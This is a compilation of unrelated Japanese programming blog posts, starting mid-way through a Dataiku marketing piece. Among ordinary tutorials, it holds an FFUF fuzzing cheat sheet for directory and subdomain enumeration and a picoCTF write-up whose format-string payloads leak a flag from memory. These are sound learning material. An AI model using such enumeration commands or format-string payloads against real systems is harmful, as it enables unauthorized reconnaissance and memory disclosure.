- 集中アクセス:データセットと分析プロジェクトを簡単に検出できる統合環境。関連するデータ資産をすばやく見つけて活用できます。
- ユーザー アクセシビリティ:ロールベースのアクセス制御と統合インターフェイスにより、安全なアクセスと[コラボレーション](https://www.dataiku.com/product/key-capabilities/collaboration/)が確保され、データ サイロが防止され、[ガバナンス](https://www.dataiku.com/product/key-capabilities/governance/)が維持されます。
- システム互換性:多様なデータ形式のサポートとさまざまなツールとの統合により、システム間でシームレスなデータ フローが実現し、運用効率が向上します。
- 再利用性:データと分析モデルの集中化により、複数の取り組みにわたる資産の再利用が促進され、分析結果の効率、一貫性、精度が向上します。たとえば、[データカタログ](https://knowledge.dataiku.com/latest/collaboration/sharing-projects-assets/concept-data-catalog.html)を使用すると、アナリストとデータ サイエンティストは組織全体でデータセットを効率的に共有およびアクセスできます。一方[フューチャーストア](https://doc.dataiku.com/dss/latest/mlops/feature-store/index.html)は、価値の高い再利用可能な機能を格納および共有するための集中ハブとして機能し、データの利用をさらに効率化し、堅牢な分析手法を促進します。

Dataiku を使用すると、中央分析組織またはテクノロジー組織は、ガバナンスとガードレールを提供しながら、ユーザーがより迅速に、よりよい意思決定を行えるようにするためのオンランプを作成できます。
-Dataiku 戦略アカウント エグゼクティブ、Nathan Semones 氏

## Dataikuの成功事例
Macquarie や Novartis などの組織は、Dataiku を使用して分析業務を効率化しました。
- Macquarieは、Excel ベースの分析を Dataiku に移行し、プロセスを合理化し、モデルの再利用を促進しました。Dataiku Govern は、Excel ベースのワークフローを自動化し、より高速で制御された IT システムの変更を実装することでコスト削減を実現し、俊敏性と拡張性を強化しました。
- Novartisは、手動の Excel 計算からリアルタイムの洞察に基づくデータ主導の意思決定に移行し、データ ガバナンス、コラボレーション、運用効率を強化しました。
これらの変革は、分析に FAIR 原則を採用することの具体的なメリットを強調しています。

## Dataiku による分析の拡張
データに FAIR 原則を実装することは不可欠ですが、それを分析に拡張することで真の変革が推進されます。Dataiku は分析目標を拡張し、システム間で検出、アクセス、相互運用、再利用できるようにします。業界のベスト プラクティスとの整合性により、優れたビジネス成果がもたらされ、データと分析の取り組みが戦略的に整合され、今日のデータ主導の環境で持続的な成功がもたらされます。

「Dataiku は、FAIR データ原則を FAIR 分析原則に変換し、それを 1 つのソフトウェアに実装して、すべての分析イニシアチブにわたって拡張できるようにする方法です」
-Dataiku 戦略アカウント エグゼクティブ、Nathan Semones 氏

## 分析を次のレベルに引き上げる準備はできていますか?
Dataiku が、準備、視覚化、自動化などの強力なツールを使用して、データ管理と分析をどのように変革するかをご覧ください。既存のエコシステムとシームレスに統合される最新のコラボレーション プラットフォームを使用して、データ主導の洞察への道のりを加速します。[詳細](https://www.dataiku.com/ja/%e8%a3%bd%e5%93%81/%e3%82%a2%e3%83%8a%e3%83%aa%e3%83%86%e3%82%a3%e3%82%af%e3%82%b9%e3%81%ae%e3%81%9f%e3%82%81%e3%81%aedataiku/)を見る
i18nの設定がconfig.i18nにまとまってconfig.action_viewは非推奨となった

Rails6からRails7へアップデートした時に、このような警告が出るようになりました。

```zsh:
DEPRECATION WARNING: action_view.raise_on_missing_translations is deprecated and will be removed in Rails 7.0. Set i18n.raise_on_missing_translations instead. Note that this new setting also affects how missing translations are handled in controllers.
```

警告の内容は、i18n（国際化）の設定を`config.i18n`にまとめたため、今まで使用していた`config.action_view`の方は非推奨になるというものです。

環境設定の中でi18nの設定をしている場合は、このように変更すると警告が出なくなります
。

```diff_ruby
- config.action_view.raise_on_missing_translations = true
+ config.i18n.raise_on_missing_translations = true
```

# 参考

https://techracho.bpsinc.jp/hachi8833/2020_05_25/92460#1-3
【初学者-備忘録】immutableとmutableの違い

# immutable(イミュータブル)
書き換えができないもの。
プリミティブ型の値が該当する。
> 文字列、数値、BigInt、真偽値、undefined、シンボルなど

何か変数の値を変更した際に、参照が新しい値に向くことになる。
新しい値がどこかのメモリ領域に追加され、そこに参照先が切り替わる。
参照先が変わるような操作のことをイミュータブルは操作という。
元の値を上書きしたことにはならない。
![Frame 43 (3).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/890419/36e0cd32-34da-277a-cca1-ca301789640b.png)


# mutable(ミュータブル)
書き換えが可能なもの。
イミュータブルな値以外、オブジェクトなど
元の配列が定義されていて、そこに新しい値が追加されたとき、配列に対して参照が貼られていて、その配列から新しい参照が追加されるイメージ。
変数の参照する先が変わらない状態のこと。
元の配列の中身が変わっている＝値が上書きされている。
![Frame 44 (3).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/890419/314e8a2d-2dfb-0dfa-f3cd-e6df79450964.png)

# イミュータビリティの保持
配列のようなミュータブルな値に対してイミュータブルな操作を行うことをイミュータビリティの保持という。

新しい配列の中に元あった配列の中身をコピーする
変数から別の配列に参照先が変わる。
Lambdaでストリーミングレスポンスに対応する

# 背景

* Lambdaの関数URLを使用している。

* ストリーミングレスポンスを扱いたい。

# 方法

1. 関数URLの呼び出しモードを`RESPONSE_STREAM`に変更
![Screenshot 2024-06-14 at 12.12.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/679785/ceb6d49d-85b4-79c3-75dc-e065f9fcded4.png)

2. 以下の環境変数を指定する。
```text
AWS_LWA_INVOKE_MODE: RESPONSE_STREAM
```

以上です。めっちゃ簡単！


# 詳細な状況

LangChainを使用しており、ストリーミングでレスポンスを返したかった。ローカルでは正常にストリーミングでレスポンスを返すが、Lambdaにデプロイすると、意図した挙動になりませんでした😭

補足：Lambdaには、[Lambda Web Adapter](https://aws.amazon.com/jp/builders-flash/202301/lambda-web-adapter/)を使用しています。


https://aws.amazon.com/jp/blogs/news/implementing-ssr-streaming-on-nextjs-with-aws-lambda-response-streaming/

記事のCloud Formationで`AWS_LWA_INVOKE_MODE: RESPONSE_STREAM`の環境変数を指定してるのを発見😭環境変数を設定したら正常に動作するようになりました。
goでJWSの署名と検証をやってみる

# 概要
[lestrrat-go](https://pkg.go.dev/github.com/lestrrat-go/jwx)でJWSの署名作成と検証をやってみた。

## コード
```go
package main

import (
    "crypto/rand"
    "crypto/rsa"
    "encoding/json"
    "time"

    "github.com/lestrrat-go/jwx/v2/jwa"
    "github.com/lestrrat-go/jwx/v2/jwk"
    "github.com/lestrrat-go/jwx/v2/jwt"
)

func toJwksJson(kid string, rawKey interface{}) string {
    jwkSet := jwk.NewSet()

    key, _ := jwk.FromRaw(rawKey)
    key.Set(jwk.KeyIDKey, kid)
    jwkSet.AddKey(key)
    jb, _ := json.Marshal(jwkSet)

    return string(jb)
}

func main() {
    // RS256
    privateKey, _ := rsa.GenerateKey(rand.Reader, 2048)
    publicKey := &(privateKey.PublicKey)
    signOption := jwt.WithKey(jwa.RS256, privateKey)
    parseOption := jwt.WithKey(jwa.RS256, publicKey)

    tok, err := jwt.NewBuilder().
        Claim("username", "bobunderson").
        Claim("foo", "bar").
        Issuer("myauth.example.com").
        IssuedAt(time.Now()).
        Audience([]string{"myapp.example.com"}).
        Build()
    if err != nil {
        panic(err)
    }

    print("===== jwks =====\n")
    jwksJson := toJwksJson("test-key", publicKey)
    print(jwksJson, "\n\n")

    print("===== private key =====\n")
    jwkPrivate, _ := jwk.FromRaw(privateKey)
    privateKeyJsonBytes, _ := json.Marshal(jwkPrivate)
    privateKeyJson := string(privateKeyJsonBytes)
    print(privateKeyJson, "\n\n")

    print("===== public key =====\n")
    jwkPublic, _ := jwk.FromRaw(publicKey)
    publicKeyJsonBytes, _ := json.Marshal(jwkPublic)
    publicKeyJson := string(publicKeyJsonBytes)
    print(publicKeyJson, "\n\n")

    print("===== jws =====\n")
    bytesJWS, err := jwt.Sign(tok, signOption)
    if err != nil {
        panic(err)
    }
    print(string(bytesJWS), "\n\n")

    print("===== validation result =====\n")
    _, err = jwt.Parse(bytesJWS, parseOption, jwt.WithValidate(true))
    if err != nil {
        panic(err)
    }
    print("ok\n")
}
```

## 他の署名アルゴリズムに対応
* HS256
  ```go
  ...
  
  // HS256
  privateKey := []byte("my-secret-key")
  publicKey := privateKey
  signOption := jwt.WithKey(jwa.HS256, privateKey)
  parseOption := jwt.WithKey(jwa.HS256, publicKey)
  
  ...
  ```

* ES256
  ```go
  ...
  
  // ES256
  privateKey, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
  publicKey := &(privateKey.PublicKey)
  signOption := jwt.WithKey(jwa.ES256, privateKey)
  parseOption := jwt.WithKey(jwa.ES256, publicKey)

  ...
  ```
  * `crypto/ecdsa`と`crypto/elliptic`のimportが必要
JavaScriptの「文字列を切り出す」系メソッド3つの違い（substr、slice、substring）


文字列を扱っているときに「一部を切り出したい！」と思うのはよくあることです。

JavaScriptに用意されているの三つの文字列の抽出メソッド、`substr`、`slice`、`substring`について、違いを簡潔にまとめておきます。

## substr
:::note alert
このメソッドは非推奨になりました。
新たな使用は避け、既存のコードは更新する必要があります。
:::

`substr`メソッドは、指定された位置から始まる特定の文字数の文字列を返します。このメソッドの第一引数は開始位置を示しますが、第二引数は他2つのメソッドと違い「取得する文字数」です。

例えば、`text.substr(0, 5)`は文字列`text`の最初の5文字を返します。

## slice
`slice`メソッドは、指定された開始位置から終了位置までの部分文字列を抽出して返します。

負の数を引数として受け取った場合、文字列の末尾からの位置として扱います。
例えば、`text.slice(-5, -1)`は文字列`text`の「末尾から5文字目」から「末尾から2文字目」までの文字列を返します。

もし開始位置より終了位置が手前の場合、空文字列を返します。
例えば、`text.slice(5, 3)`は終了位置が開始位置より小さい（＝手前）なので空文字列になります。

## substring
`substring`メソッドも`slice`と同じく、指定された開始位置から終了位置までの部分文字列を抽出して返します。

負の数を引数として受け取った場合、それを`0`として扱います。そのため、`text.substring(-5, -1)`は実質`text.substring(0, 0)`と同じになり、空文字列を返します。

もし開始位置より終了位置が手前の場合、開始位置と終了位置を入れ替えて処理します。
つまり、`text.substring(5, 3)`は`text.substring(3, 5)`として扱われ、2文字の文字列が返されます。


# まとめ

個人的にはずっと`slice`しか使ってなかったので勉強になりました。

この記事が文字列の切り出しについて理解を深める一助となれば幸いです。

# 参考
## MDN Web Docs
- [String.prototype.substr()](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/substr)
- [String.prototype.slice()](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
- [String.prototype.substring()
](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/String/substring)
Google Apps ScriptでPHPのHmacSha256ハッシュを作成しようとしたら沼った話

# はじめに
あと１年ほどでサービスが終了してしまうLINE Pay。

https://pay.line.me/jp/developers/apis/onlineApis?locale=ja_JP

今回焦点を当てたのは、LINE Pay APIの認証方法で使われている「HMAC-SHA256」ハッシュ作成方法です。

この方法を参考にした認証方法をサービスに組み込んだのですが、Google Apps Scriptから利用するときは工夫が必要でしたので、記事を書くことにします。

# LINE Pay APIで利用されているハッシュの作り方
```
Signature = Base64(HMAC-SHA256(Your ChannelSecret, (Your ChannelSecret + URL Path + Query String + nonce))) 

※ Query String : ?を除いたクエリ文字列(例 : Name1=Value1&Name2=Value2...)
```

# サービス用にカスタマイズしたハッシュの作り方

```
Signature = Base64(HMAC-SHA256(Your ChannelSecret, (Your ChannelSecret + Request Body + nonce))) 
```

## 実装したロジック
```PHP:PHPで実装したクライアント

$ChannelSecretKey = 'secret_key';

$request = ['テスト'];

$nonce = (string)microtime(TRUE);

$payload = json_encode($request, JSON_UNESCAPED_UNICODE);

$message = $ChannelSecretKey.$payload.$nonce;

$signature = base64_encode(hash_hmac('sha256', $message, $ChannelSecretKey , true));

```

```javascript:Google Apps Scriptで実装したクライアント
const request = [
    'テスト'
]

const payload = JSON.stringify(request)

const nonce = Date.now().toString()

const data = SECRET_KEY + payload + nonce

const rawSignature = Utilities.computeHmacSha256Signature(data, SECRET_KEY)
const signature = Utilities.base64Encode(rawSignature)
Logger.log('Generated Signature: ' + signature)
```

# 沼ったポイント
Google Apps Script（クライアント）からPHP（サーバー）のAPIを呼び出すことを目標としているのですが、
何度Google Apps Scriptでシグネチャを作成しても、PHP側で作成したシグネチャと一致しない。
という問題に直面しました。

「ChatGPT」に質問をしても「問題ない」との一点張りでなかなか解決に向かいませんでした。

# 判明した原因
```php
$request = ['テスト'];
```

としていましたが、

```php
$request = ['test'];
```
にしたら、どうなるのだろうか。

と思い試したところ、シグネチャがPHPクライアントと一致することが確認できました。

つまり実装自体は間違っていなかったことになります。

つまりGoogle Apps Scriptクライアントの挙動が日本語の有無に左右されていたことになります。


今回PHPで作成するシグネチャとGoogle Apps Scriptで作成するシグネチャが一致しない原因として、
内部エンコーディングが一致していないことが原因でした。

PHPは内部エンコーディングがUTF-8だった。
Google Apps Scriptは内部エンコーディングがUTF-8ではなかった。

上記の理由から、シグネチャの作成ロジックを見直すことになりました。

# 改良版の作成

```javascript:Google Apps Scriptで実装したクライアント
const request = [
    'テスト'
]

const payload = JSON.stringify(request)

const nonce = Date.now().toString()

const data = SECRET_KEY + payload + nonce

// UTF-8バイト配列に変換
const utf8Data = Utilities.newBlob(data).getBytes() // 追加
const utf8Key = Utilities.newBlob(SECRET_KEY).getBytes() // 追加

const rawSignature = Utilities.computeHmacSha256Signature(utf8Data, utf8Key) // 修正
const signature = Utilities.base64Encode(rawSignature)
Logger.log('Generated Signature: ' + signature)
```

# 最後に
`Utilities.computeHmacSha256Signature`と`Utilities.base64Encode`が悪いのだと思い、ライブラリの変更ばかりに目が行っていましたが、理由は単純なものでした。
【ハッキング入門】FFUFチートシート

# FFUFとは

Fuzz Faster U Fool(FFUF)は、オープンソースのファジングツールです。
Kali LinuxやParrot OSなどではデフォルトでインストールされています。

https://github.com/ffuf/ffuf

# 使い方

## 基礎構文

`-w`でワードファイル、`-u`でターゲットのURLを指定します。

```
ffuf -w <wordlist path> -u <target url>
```

## オプション

使用頻度の高いオプションをいくつか紹介します。

### HTTP系

- **-H**
    - HTTPリクエストヘッダーを指定します
    - 例)`-H "Host: FUZZ.example.com"`
    - 複数指定する場合は都度オプションを足す
    - 例)`-H "User-Agent: Mozilla/5.0" -H "Host: FUZZ.example.com"`
- **-X**
    - HTTPリクエストメソッドを指定します
    - 例)`-X POST`
- **-d**
    - POSTリクエストのbodyデータを指定します
    - 例)`-X POST -d "username=admin&password=passwd"`
- **-recursion**
    - 再帰的スキャンを実行します
    - デフォルトではオフになっています
- **-recursion-depth**
    - 再帰的にスキャンする際の階層の深さを指定します
    - デフォルトでは`0`になっています
- **-request**
    - リクエストファイルを読み込みます
    - 例)`-request request.txt`

### フィルタリング系

フィルタリングオプションでは`一致したものを非表示にするf~`と`一致したもののみを表示するm~`に分かれます。
後に続く文字は両方で共通しています。

- **c**
    - HTTPレスポンスのステータスコードで判別します
    - 例)`-fc 301` or `-mc 301`
- **l**
    - レスポンスの行数で判別します
    - 例)`-fl 20` or `-ml 20`
- **r**
    - 正規表現で判別します
- **s**
    - レスポンスのサイズで判別します
    - 例)`-fs 1000` or `-ms 1000`
- **w**
    - レスポンスのワード数で判別します
    - 例)`-fw 20` or `-mw 20`
    - 範囲指定や複数指定ができます
    - 例)`-fw 20-50` or `-fw 10,20`
### その他

- **-ic**
    - ワードリストファイルに含まれるコメントを無視します
    - デフォルトでは無効化されています
- **-o**
    - 出力を保存するファイルを指定します
- **-of**
    - 出力ファイル形式を指定します
    - `json`,`ejson`,`html`,`md`,`csv`,`ecsv`または`all`で指定できます
    - デフォルトでは`json`形式です

# 個人的テンプレート

- **ディレクトリ列挙**

ディレクトリを再帰的に列挙し、カラーで出力、結果をファイルにjsonで保存します。

```
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://example.com/FUZZ -recursion -recursion-depth 1 -ic -c -o ffuf_result.json
```

- **サブドメイン列挙**

```
ffuf -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.example.com" -u http://example.com -fs <size>
```

- **リクエストファイルでファジング**

リクエストファイルの内容は適宜`FUZZ`で置き換える

```
$ ffuf -c -w port.txt -request request.txt -u http://<target> -fl <content length> -fs <response size>
```

# おすすめ教材

TryHackMeに無料ルームでFFUFのルームがあるので学習にお勧めです。

https://tryhackme.com/r/room/ffuf
picoCTF 2024 writeup format string 1

## format string 1 (Binary Exploitation)

Patrick and Sponge Bob were really happy with those orders you made for them, but now they're curious about the secret menu. Find it, and along the way, maybe you'll find something else of interest! Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 49971

配布ファイル
・format-string-1
・format-string-1.c

secret menuなるものを探せとのことである。とりあえず、`nc mimas.picoctf.net 49971`を実行してみる。
```
> nc mimas.picoctf.net 49971
Give me your order and I'll read it back to you:
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Here's your order: 402118064318a000146a880a347834fdd41ef064109e606432e4d01fdd41fc0006f6369706d316e34333179373431665f646635337643308d87743072506c797453964341de9641120986432e4d00fdd41fd078257825782578257825782578257825
Bye!
```

いきなり、書式文字列攻撃とみたてて%xを大量に投げたら、途中から%xの16進が連続したので、それまでの部分で何かフラグっぽいものを探す。picoは`70 69 63 6f`なのでこれをヒントに探すと、`6f636970`という部分を発見。リトルエンディアンでフラグが格納されているようだ。ただし、フラグの一部が欠落しているので、入力を`%p`に変えてもう一度実行する。
```
> nc mimas.picoctf.net 58878
Give me your order and I'll read it back to you:
%p%p%p%p%p%p%p%p%p%p%p%p%p%p
Here's your order: 0x402118(nil)0x71c498968a00(nil)0x6628800xa3478340x7fffe8b2bc100x71c498759e600x71c49897e4d00x10x7fffe8b2bce0(nil)(nil)0x7b4654436f636970
```
14個目あたりにフラグっぽいやつが出てきた。入力を`%14$p%15$p%16$p%17$p%18$p`に変えてフラグを出力させる。
`0x7b4654436f6369700x355f31346d316e340x3478345f333179370x31395f673431665f0x7d653464663533`これが出てきたのでcyberchefに投げる。
From Hexで`{FTCocip5_14m1n44x4_31y719_g41f_}e4df53`と出てきたので、8文字ずつ並べ変える。


`picoCTF{4n1m41_57y13_4x4_f14g_9135fd4e}`
【応用情報技術者試験】探索アルゴリズムを理解するリンク集

# 概要
探索アルゴリズムについて、何度勉強しても忘れてしまうので、自分の学習用として、各探索の概要と、理解するためのyoutubeのリンク集を纏めました。

# 目次
- [線形探索](#線形探索)
- [二分探索](#二分探索)
- [ハッシュ探索](#ハッシュ探索)

## 線形探索
データ群の端から順に、探しているデータかあるか確認していく手法。
名前は、データ群の左から右に一直線 (線形) に探索するというやり方から。
「逐次探索」や「リニアサーチ」ともいわれる。

https://www.youtube.com/watch?v=EEqp7WmgFWs

## 二分探索
検索したい値がデータ群の中央の値より右にあるか、左にあるかを判断し、片方には存在しないことを確かめながら検索していく手法。
ランダムなデータ群だと、中央の値より右にあるか左にあるかの判断ができないため、二分探索を行う前は、[ソートアルゴリズム](https://qiita.com/MetroOsamu/items/5641d59500b1c143d78c)を使用して、データ群を整列させておく必要がある。

https://www.youtube.com/watch?v=PclCFORaE3w&t=17s

## ハッシュ探索
「ハッシュ関数」と言われる関数を使用する。
ハッシュ関数とは、同じ入力からは必ず同じ値を得ることができる関数。得られたデータはハッシュ値という。
ハッシュ探索は、最初にデータひとつひとつのハッシュ値を算出しておいて (ハッシュテーブルを作成しておいて) 、探索の対象となるデータをハッシュ値に変換し、ハッシュテーブルを元に探索を行う方法。

https://www.youtube.com/watch?v=LwbAgd1rkVQ&t=1s

***
**[記載した応用情報技術者試験の記事まとめ](https://qiita.com/MetroOsamu/items/550001240d76e24f505f)**
【Android開発】Kotlin入門 Androidのディベロッパーガイドの分かりにくいところを書き直す#4

[フラグメント](https://developer.android.com/guide/fragments?hl=ja#samples)と
[インテントとインテント フィルタ ](https://developer.android.com/guide/components/intents-filters?hl=ja)
### 知らないこと
フラグメント
モジュール性
インテントとインテントフィルタ 
インテントのユースケース
インテントのタイプ
Intent に含まれる主な情報

#### Fragment
+ アプリのUIの再利用可能な部分

#### モジュール性
+ UIを独立した部品（モジュール）に分割し、それらを組み合わせて全体のUIを構成する
+ 再利用性、保守性、柔軟性がある

#### インテントのユースケース
+ アクティビティの開始
+ サービスの開始
+ ブロードキャストの配信

#### インテントのタイプ
+ 明示的インテント
+ 暗黙的インテント

#### Intent に含まれる主な情報
+ コンポーネント名
    + 起動するコンポーネントの名前
+ アクション
    + 実行する一般的なアクション（view、pick など）を指定する文字列
+ データ
    + 操作対象のデータやそのデータの MIME タイプを参照する URI（Uri オブジェクト）
+ カテゴリ
    + インテントを処理するコンポーネントの種類に関する追加情報を含む文字列
+ エクストラ
    + リクエストされたアクションの実行に必要な追加情報を伝える Key-Value ペア
35歳完全未経験からエンジニアに転職して1年3か月が経った

こういう系のタイトルにつられて中身を見てみると、大抵
* 売れるレベルのサービスを作った
* 年収が２～３年目ですでに６００万超えてる
って感じのおいしい話を耳にする

でもね、現実は甘くないです。
そんなの
* 努力ができて
* 努力の方向性が間違ってなくて
* 理解力がある
* 集中力がある
* 体力がある
よく分からんけど色んな条件がそろってる人くらいなんです

俺みたいな凡夫はね
何百万も年収下げて
ひいひい言いながら宇宙語話してる先輩たちの言葉を必死に調べて
やっとの事で業務に慣れてきたと思ったらプロジェクトが縮小になって別のプロジェクトに
メンツも技術スタックも全部変わってまたひいひい
この繰り返し

### 何となくこの１年３か月でやった事を振り返ってみる
#### 開発チーム(8ヵ月くらい
* 英語ドキュメント読解
* 仕様書レビュー
* ユースケース書作成
* 詳細設計書作成
* OpenAPI定義作成
* API実装（Go言語）
* 単体テスト設計書作成
* テストコード実装(Go言語)
* 障害対応(typescript)
* 実装修正(typescript)
#### 結合チーム、構成管理チーム（7ヵ月くらい
* SQLレビュー
* マニュアル・ドキュメント作成
* 結合テスト実施
* 静的解析結果管理


ん～～～～～～～～～～～～～～～～～～～～～～～～
浅い

来週からまたプロジェクト移動で、次はJAVAらしいです。
typescript面白いなーって思ってたのに、また勉強しなおしか～～～～
Google Cloud SpannerでJSON配列データを検索・カウントする方法

Google Cloud Spannerは、スケーラブルで高可用性を持つマネージドリレーショナルデータベースサービスです。
SpannerはJSONデータ型をサポートおり、これにより複雑なデータ構造を効率的に保存・操作することが可能です。
本記事では、JSON配列データの格納、検索、およびカウントの方法について説明します。

## テーブルの作成

まず、JSONデータを格納するためのテーブルを作成します。

```sql
CREATE TABLE example (
    id INT64 NOT NULL,
    data JSON
) PRIMARY KEY(id);
```

## データの挿入

次に、JSONデータをテーブルに挿入します。ここでは、名前、電話番号、住所を含むJSONデータを挿入します。

```sql
INSERT INTO example (id, data) VALUES (1, JSON '[{"name": "Alice", "phone": "123-4567", "address": "Tokyo"}, {"name": "Bob", "phone": "987-6543", "address": "Tokyo"}]');
INSERT INTO example (id, data) VALUES (2, JSON '[{"name": "Charlie", "phone": "555-5555", "address": "Osaka"},{"name": "Dave", "phone": "123-0000", "address": "Osaka"}]');
```

データの内容は次のようになります：

| id | data                                                                                                                      |
|----|---------------------------------------------------------------------------------------------------------------------------|
| 1  | [{"name": "Alice", "phone": "123-4567", "address": "Tokyo"}, {"name": "Bob", "phone": "987-6543", "address": "Tokyo"}]    |
| 2  | [{"name": "Charlie", "phone": "555-5555", "address": "Osaka"}, {"name": "Dave", "phone": "123-0000", "address": "Osaka"}] |

## JSONデータを検索し、カウント

特定の条件に一致するJSONデータを検索し、カウントするクエリを実行します。

```sql
SELECT COUNT(*) AS match_count
FROM example e
WHERE EXISTS (
    SELECT 1
    FROM UNNEST(JSON_QUERY_ARRAY(e.data)) AS json_array_element
    WHERE JSON_VALUE(json_array_element, '$.phone') = '123-4567'
      AND JSON_VALUE(json_array_element, '$.name') = 'Alice'
);
```

### JSON_QUERY_ARRAYについて

JSON_QUERY_ARRAYは、JSONデータの配列要素を抽出するための関数です。
この関数を使用すると、JSON配列を個々の要素に分解し、それぞれに対して操作を行うことができます。
例のクエリでは、dataフィールドからJSON配列を展開し、各要素を行として取得します。

### UNNESTについて

UNNEST関数は、配列やリストのようなコレクションを個々の要素に分解して、各要素を行として展開します。
これにより、配列の各要素に対してクエリを実行できます。
例のクエリでは、UNNESTを使用してJSON配列を展開し、各要素を取得します。

### JSON_VALUEについて

JSON_VALUEは、JSONオブジェクトからスカラー値（文字列、数値など）を抽出する関数です。
JSONパスを指定して、特定のキーに対応する値を取得します。
例のクエリでは、JSON配列の各要素から電話番号と名前を取得します。

### EXISTSについて

EXISTSを使用することで、サブクエリ内で条件に一致するレコードが存在するかどうかを効率的に確認できます。
例のクエリでは、各exampleレコードに対して、dataフィールド内のJSON配列から特定の電話番号と名前を持つ要素が存在するかどうかをチェックします。
条件を満たす最初のレコードが見つかるとサブクエリの処理が終了するため、効率的です。
`SELECT 1` で具体的な値（ここでは1）は重要ではなく、単に条件を満たす行が存在するかどうかを確認するために使用されます。

## まとめ

この記事では、Google Cloud Spannerを使用してJSON配列データの検索クエリの実行方法を解説しました。
また、JSON_QUERY_ARRAY、UNNEST、JSON_VALUE、およびEXISTSの各関数について説明しました。
これらの機能を活用することで、複雑なデータ構造を簡単に操作し、データベースの柔軟性とパフォーマンスを向上させることができます。
ぜひ試してみてください。

## 参考

- [JSON functions in GoogleSQL](https://cloud.google.com/spanner/docs/reference/standard-sql/json_functions)
GAS スプレッドシートにオリジナルメニューを追加する

# はじめに

GASを使用してスプレッドシートにオリジナルのメニューを追加する方法について記載します。


:::note info
完成イメージ
:::

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3343142/ae328d42-8a18-4f2b-0b8f-2e380800f5cc.png)

# 手順

スプレッドシートを新規作成し、`Apps Script`を選択します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3343142/01fde3eb-05bc-f53d-7fa1-59b1229861e6.png)

GAS側に以下のコードを追加し、保存して実行する。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3343142/4f6fe292-41fd-b563-3063-b533a8a653e2.png)

```JavaScript:コード.gs
function onOpen() {
  var ui = SpreadsheetApp.getUi();
  ui.createMenu('貸出管理')
    .addItem('貸出登録', 'addTask')
    .addItem('返却登録', 'completeTask')
    .addToUi();
}
```

:::note info
Tabの名前を変えたい場合はcreateMenuを変更する
:::

```JavaScript
ui.createMenu('Tabの名前')
```

:::note info
メニューを増やしたい場合はaddItemを変更する
実行する内容はそれぞれ作成する必要があります。
:::

```JavaScript
.addItem('menu1', '実行するメソッド名1')
.addItem('menu2', '実行するメソッド名2')
.addItem('menu3', '実行するメソッド名3')
```

メニューを押した時に実行する内容をつくる
（以下は例です。）

```JavaScript
function addTask() {
  var sheet = SpreadsheetApp.getActiveSheet();
  var taskLists = Tasks.Tasklists.list().getItems();
  var taskListId = taskLists[0].getId();
  
  var lastRow = sheet.getLastRow();
  var itemName = sheet.getRange(lastRow, 1).getValue();
  var borrower = sheet.getRange(lastRow, 2).getValue();
  var borrowDate = sheet.getRange(lastRow, 3).getValue();
  var dueDate = sheet.getRange(lastRow, 4).getValue();
  
  var task = {
    title: itemName + ' - ' + borrower,
    notes: ' 貸出日: ' + borrowDate + '\n返却予定日: ' + dueDate,
    due: dueDate.toISOString()
  };
  
  Tasks.Tasks.insert(task, taskListId);
}
```
Semi-Supervised 2D Human Pose Estimation Driven by Position Inconsistency Pseudo Label Correction Module

#### Semi-Supervised 2D Human Pose Estimation Driven by Position Inconsistency Pseudo Label Correction Module

CVPR2023の論文です．
原著論文：https://openaccess.thecvf.com/content/CVPR2023/papers/Huang_Semi-Supervised_2D_Human_Pose_Estimation_Driven_by_Position_Inconsistency_Pseudo_CVPR_2023_paper.pdf
## 論文中に出てくる単語の意味
- Pseudo Label
: 擬似ラベル、予測の「頭」や「右肩」などキーポイントのラベル（位置の名称）


## 概要

論文「Semi-Supervised 2D Human Pose Estimation Driven by Position Inconsistency Pseudo Label Correction Module」は、半教師あり学習による2D Human Pose Estimationに焦点を当てている．従来の手法が抱える2つの問題点、すなわち大規模モデルと軽量モデル間のインタラクティブなトレーニングにおけるラベルの精度問題、およびノイズの多いラベルの影響に対処するため、位置の不一致を修正するPseudo Label Correction Module（SSPCM）を提案している．さらに、Pseudo Keypoint Perceptionに基づく `semi-supervised Cut-Occlude（SSCO）`を導入し、難しいサンプルを生成することで、Student Modelの性能を向上させる．

## イントロダクション

2D Human Pose Estimation（HPE）は、画像から人体の2D Keypointを推定するタスクで、Action Recognitionや3D Pose Estimationなどの基本的なタスクに不可欠であるが、ラベリングのコストと時間が膨大である．
半教師あり学習が注目されている．

この研究では、ラベルの少ないデータと大量の未ラベルデータを用いてモデルの性能を向上させる方法に焦点を当てている．

## 提案手法

### 位置の不一致によるPseudo Label Correction Module（SSPCM）

SSPCMは、以下のステップで構成されている．

1. **補助教師の導入**: 追加の補助教師モデルを導入し、異なる時期に生成されたPseudo Labelの不一致スコアを計算して外れ値を削除する．
2. **インタラクティブトレーニング**: 2つの教師モデル間でインタラクティブトレーニングを行い、Student ModelをPseudo Labelで更新する．
3. **位置の不一致スコアの計算**: 各Keypointの予測結果のピクセル距離を計算し、不一致スコアを導出する．
4. **Pseudo Labelの修正**: 最小の不一致スコアを持つPseudo Labelを選択し、修正されたPseudo Labelを生成する．

### Pseudo Keypoint Perceptionに基づくCut-Occlude（SSCO）

SSCOは、以下のステップで構成されている．

1. **Pseudo Labelの生成**: 教師モデルを使用して各Keypointの中心を特定し、局所的なリム画像を切り取る．
2. **局所的なリム画像の貼り付け**: 他の画像のKeypoint中心に貼り付けて局所的な遮蔽をシミュレートする．

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2323577/8863b1d8-47a1-9238-2e06-59baffd9accf.png)


## 実験

### データセット

1. **MPII**: 25k枚の画像と40kのPerson Instancesを含む．
